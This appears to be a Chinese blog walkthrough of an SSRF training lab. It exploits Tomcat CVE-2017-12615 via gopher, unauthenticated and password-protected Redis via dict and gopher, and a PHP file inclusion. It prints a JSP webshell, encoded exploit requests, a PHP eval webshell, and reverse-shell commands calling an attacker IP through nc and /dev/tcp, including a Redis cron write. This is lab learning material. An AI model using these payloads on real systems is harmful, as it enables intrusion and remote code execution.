再我的上一篇文章中,我们已经完成了前五个靶机的ssrf漏洞利用,接下来就是利用剩下靶机了,那么开始我们今天的靶机复习吧。其实此靶场一共只有九个靶机,在(172.72.23.30)请求没有任何数据的,所以就没有十个靶机了。虽然说在其靶场拓扑图中存在十个靶机。在我的上一篇文章中,在第四个靶场以gopher协议进行提交post数据的问题我已经重新解决,大家可以回去看看。
目录
一、通关(2)
1、ssrf-tomcat(172.72.23.26)

出现一段源码,源码太长,这里就不放出来了,但是可以看出这是tomcat 8.5.19版本的页面源码,那么根据这个信息就收集这个版本相应漏洞信息。可以搜索到此版本存在一个典型漏洞,CVE-2017-12615
CVE-2017-12615 是 Apache Tomcat 的一个远程代码执行漏洞,影响版本为 Tomcat 7.0.0 至 7.0.79(Windows 环境)。该漏洞允许攻击者通过精心构造的 HTTP 请求上传恶意 JSP 文件,并在服务器上执行任意代码,导致服务器权限被获取或敏感数据泄露。
漏洞原理
-
PUT 方法启用:当 Tomcat 配置文件
web.xml中对DefaultServlet的readonly参数设置为false时(默认是true,需手动修改),服务器会允许通过 HTTP PUT 方法上传文件。 -
绕过 JSP 文件检测:Tomcat 默认禁止直接上传
.jsp文件,但攻击者可利用Windows 文件系统特性(如文件名后添加/、空格、::$DATA等)绕过检测。例如,上传文件名为shell.jsp/时,Tomcat 会将其视为普通文件处理,而 Windows 系统仍会解析为.jsp文件。 -
代码执行:上传成功后,攻击者访问该 JSP 文件,其中的恶意代码(如执行系统命令)会被服务器执行。
其jsp的命令执行代码如下
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: shell.jsp?cmd=Command");
}
%>
然后再靶场进行抓包,修改相应的请求方法和数据,如下所示(记住一定要在文件后面加上/等,不然会写入失败,因为如果不加上,不支持jsp使用put方式写入)
PUT /shell.jsp/ HTTP/1.1
Host: 172.72.23.26:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: */*
Origin: http://172.72.23.26:8080
Referer: http://172.72.23.26:8080
Connection: close
Content-Length: 462
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: shell.jsp?cmd=Command");
}
%>
然后进行编码

接着使用gopher协议进行提交
gopher://172.72.23.26:8080/_%50%55%54%20%2f%73%68%65%6c%6c%2e%6a%73%70%2f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%37%32%2e%37%32%2e%32%33%2e%32%36%3a%38%30%38%30%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%31%34%31%2e%30%2e%30%2e%30%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%4f%72%69%67%69%6e%3a%20%68%74%74%70%3a%2f%2f%31%37%32%2e%37%32%2e%32%33%2e%32%36%3a%38%30%38%30%0d%0a%52%65%66%65%72%65%72%3a%20%68%74%74%70%3a%2f%2f%31%37%32%2e%37%32%2e%32%33%2e%32%36%3a%38%30%38%30%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%34%36%32%0d%0a%0d%0a%3c%25%0d%0a%20%20%20%20%53%74%72%69%6e%67%20%63%6f%6d%6d%61%6e%64%20%3d%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%3b%0d%0a%20%20%20%20%69%66%28%63%6f%6d%6d%61%6e%64%20%21%3d%20%6e%75%6c%6c%29%0d%0a%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%3d%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%63%6f%6d%6d%61%6e%64%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%6e%74%20%61%20%3d%20%2d%31%3b%0d%0a%20%20%20%20%20%20%20%20%62%79%74%65%5b%5d%20%62%20%3d%20%6e%65%77%20%62%79%74%65%5b%32%30%34%38%5d%3b%0d%0a%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%70%72%65%3e%22%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%28%28%61%3d%69%6e%2e%72%65%61%64%28%62%29%29%21%3d%2d%31%29%0d%0a%20%20%20%20%20%20%20%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%53%74%72%69%6e%67%28%62%29%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%28%22%3c%2f%70%72%65%3e%22%29%3b%0d%0a%20%20%20%20%7d%20%65%6c%73%65%20%7b%0d%0a%20%20%20%20%20%20%20%20%6f%75%74%2e%70%72%69%6e%74%28%22%66%6f%72%6d%61%74%3a%20%73%68%65%6c%6c%2e%6a%73%70%3f%63%6d%64%3d%43%6f%6d%6d%61%6e%64%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%25%3e

出现201,说明写入成功,那么就可以通过jsp文件来执行系统命令了。

执行成功,那么可以进行反弹shell来获得系统权限,首先先看看能不能ping同攻击机,命令如下
http://172.72.23.26:8080/shell.jsp?cmd=ping%20-c%204%20172.25.54.94

可以看到是成功ping通的,那么可以进行反弹shell连接

然后执行反弹shell命令
http://172.72.23.26:8080/shell.jsp?cmd=nc%20172.25.54.94%209999%20-e%20/bin/sh

报错了,并没有连上,从错误信息来看并没有nc这个文件,然后我也尝试了使用bash来进行反弹,发现也不能成功,也尝试了多台服务器进行监听,同样没有用
http://172.72.23.26:8080/shell.jsp?cmd=/bin/bash -i > /dev/tcp/172.25.54.94/9999 0<&1 2>&1



猜测可能是此靶机的 Bash 不支持/dev/tcp。此靶机也没有python,php,perl环境,无法进行反弹shell了。那么能够远程执行漏洞此危害也是很大了。继续下一个吧。
2、ssrf-redis(172.72.23.27)

发现不能够进行get条件,说明没有web服务,也没有其它的写入功能,但是记住这是SSRF漏洞,那么就可以使用dict协议,dict协议除了可以探测端口以外,另一个方面就是能够攻击未授权的 Redis 服务了,那么接下来来构造攻击语句。
dict://ip:port/info #dict语句构造

接下来构造攻击语句,来通过写入定时任务来进行反弹shell
dict://172.72.23.27:6379/flushall
dict://172.72.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/172.25.54.94/9999 0>%261\n"
# 进行保存
dict://172.72.23.27:6379/save



ok,也是成功连接上了啊。继续下一关。
3、ssrf-redis加强(172.72.23.28)

发现此代码是一个php代码,整理如下
<?php
error_reporting(0);
highlight_file(__FILE__);
// 检查URL中是否存在"file"参数
if (isset($_GET['file'])) {
// 包含并执行"file"参数指定的文件(存在本地文件包含漏洞)
include($_GET['file']);
} else {
echo "easy lfi";
}
?>
那么此代码就是php文件包含漏洞了。然后再漏洞扫描的时候,此靶机还开放了6379端口,也就是redis服务,那么先看看redis服务

发现存在身份认证,那么此靶机就是通过php本地文件包含漏洞来查找此redis的身份配置信息,然后进行登录了。那么先通过php包含漏洞来进行读取任意信息

那么需要读取配置信息,一般linux的redis配置文件放在/etc/redis.conf,那么进行读取即可
http://172.72.23.28:80?file=///etc/redis.conf

那么账号密码出现了。那么进行密码验证
dict://172.72.23.28:6379/auth P@ssw0rd

但是又存在一个问题,dict只能执行一次命令,并且没有记忆,那么怎么执行相关命令呢。那么又要使用gopher协议。但是又有一个关键问题,怎么让gopher协议去传递其redis命令呢。gopher协议是需要原生数据包的。可以通过要执行的命令让AI进行生成原始数据包。要执行命令如下
auth P@ssw0rd #进行验证
flushall #清空key
config set dir /var/www/html #设置操作路径
config set dbfilename shell.php #设置写入的文件
set x "\n<?php eval($_GET[1]);?>\n"#设置写入的内容
save #进行保存
然后让AI改成原始数据包,然后进行url编码,使用gopher协议来进行提交即可,最后结果如图所示

ok,进行最后一关了。
4、ssrf-mysql(172.72.23.29)

本关的难度还是颇大的,对作者来说还是颇有挑战的,这里作者就不再具体展示了,大家可以去看看靶场作者国光大佬的wp,很详细,我肯定搞不了那么详细的了。手把手带你用 SSRF 打穿内网 | 国光
769

被折叠的 条评论
为什么被折叠?



